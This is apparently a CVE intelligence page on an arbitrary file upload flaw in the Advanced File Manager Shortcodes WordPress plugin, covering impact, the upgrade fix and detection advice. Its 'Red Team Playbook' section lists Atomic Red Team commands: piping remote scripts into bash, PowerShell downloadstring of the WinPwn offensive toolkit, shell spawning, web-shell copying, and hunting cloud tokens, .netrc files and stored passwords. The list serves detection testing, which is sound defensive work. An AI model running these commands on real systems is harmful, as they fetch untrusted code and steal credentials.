CVE-2023-7061
Overview
This vulnerability is an arbitrary file upload flaw rooted in insufficient validation of uploaded file types within the Advanced File Manager Shortcodes WordPress plugin. The affected component improperly restricts upload functionality, enabling authenticated users with contributor-level privileges or higher to submit files without adequate sanitization or filtering. The flaw resides in the plugin's file upload handling mechanism, which fails to enforce strict controls on file content and extensions, leading to unauthorized file placement on the server.
Vulnerability Description
The Advanced File Manager Shortcodes plugin for WordPress is vulnerable to arbitrary file uploads in all versions up to, and including, 2.5.3. This makes it possible for authenticated attackers with contributor access or above to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with contributor or higher privileges can upload arbitrary files to the affected WordPress server, potentially including executable scripts. This capability enables remote code execution on the server, leading to full system compromise, data theft, or site defacement. Exploitation requires authenticated access with contributor-level permissions, aligning with the CVSS vector's indication of low attack complexity and low privileges required (PR:L). The vulnerability can facilitate lateral movement within the hosting environment and persistent unauthorized access.
Solution
Upgrade the Advanced File Manager Shortcodes plugin to a version later than 2.5.3 as recommended by the vendor. Detailed patch instructions and version updates are available at the vendor advisory page: https://advancedfilemanager.com/product/file-manager-advanced-shortcode-wordpress/ and the Wordfence vulnerability intelligence report at https://www.wordfence.com/threat-intel/vulnerabilities/id/26050f70-7a10-4df5-acd5-1c9e7613bf2c. No alternative workarounds are documented; applying the official update is required to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Advanced File Manager Shortcodes plugin for WordPress allows for arbitrary file uploads, which poses a significant risk to the integrity and security of affected websites. This flaw exists in all versions up to and including 2.5.3, enabling authenticated users with contributor access or higher to upload files without proper validation. The lack of restrictions on file types and the absence of adequate security controls mean that an attacker could exploit this vulnerability to upload malicious scripts or executables. Once these files are on the server, they can be executed, leading to potential remote code execution, which is a critical security concern.
Attack vectors for this vulnerability are relatively straightforward. An attacker with contributor privileges could leverage the file upload functionality to introduce malicious files into the web server environment. For instance, an attacker might upload a PHP web shell disguised as an image file. Once uploaded, this web shell could allow the attacker to execute arbitrary commands on the server, manipulate files, or even pivot to other systems within the network. The ease of exploitation, combined with the potential for significant damage, makes this vulnerability particularly concerning for WordPress site administrators.
The real-world impact of this vulnerability can be severe, especially for businesses that rely on their online presence. Successful exploitation could lead to unauthorized access to sensitive data, defacement of the website, or even complete server compromise. The repercussions may include loss of customer trust, financial losses due to downtime, and potential legal ramifications if customer data is exposed. Additionally, the presence of malware on a website can lead to blacklisting by search engines, further harming the business's reputation and visibility.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the Advanced File Manager Shortcodes plugin to the latest version is crucial, as it may contain patches that address this vulnerability. Additionally, employing a web application firewall (WAF) can help filter out malicious requests and prevent unauthorized file uploads. Monitoring server logs for unusual file upload activity and implementing strict access controls can also enhance security. Organizations should consider conducting regular security audits and vulnerability assessments to identify and remediate potential weaknesses in their web applications.
In conclusion, the arbitrary file upload vulnerability in the Advanced File Manager Shortcodes plugin represents a significant threat to WordPress sites. The potential for remote code execution, combined with the ease of exploitation, underscores the importance of proactive security measures. By staying informed about vulnerabilities, applying timely updates, and employing robust security practices, organizations can better protect their digital assets and maintain the trust of their users.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Advancedfilemanager | File Manager Advanced Shortcode | All |
cpe:2.3:a:advancedfilemanager:file_manager_advanced_shortcode:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-7061 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/26050f70-7a10-4df5-acd5-1c9e7613bf2c?source=cve |
| advancedfilemanager.com |
GitHub CVE
|
https://advancedfilemanager.com/product/file-manager-advanced-shortcode-wordpress/ |